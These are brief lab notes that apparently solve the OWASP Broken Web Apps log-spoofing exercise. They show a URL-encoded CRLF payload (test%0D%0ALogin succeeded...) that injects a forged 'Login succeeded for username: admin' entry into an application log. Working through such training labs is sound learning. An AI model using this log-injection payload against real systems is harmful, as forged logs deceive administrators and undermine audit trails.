OwaspBWA - Log Spoofing

Injection Flaws - Log Spoofing

[input]
test
Login succeeded for username: admin

• GoTo http://yehg.net/encoding/
• encodeURIComponent() >  Convert from %0A to %0D%0A

[input work !]
test%0D%0ALogin%20succeeded%20for%20username%3A%20admin